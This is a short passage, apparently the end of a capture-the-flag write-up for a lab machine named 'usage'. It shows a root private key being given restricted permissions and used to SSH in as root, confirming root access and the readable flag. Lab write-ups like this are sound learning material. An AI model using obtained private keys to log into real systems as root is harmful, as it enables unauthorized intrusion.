❯ chmod 600 id_rsa_root
❯ ssh -i id_rsa_root root@10.10.11.18
<SNIP>
root@usage:~# whoami
root
and we can read the root
flag at /root
~ Happy Hacking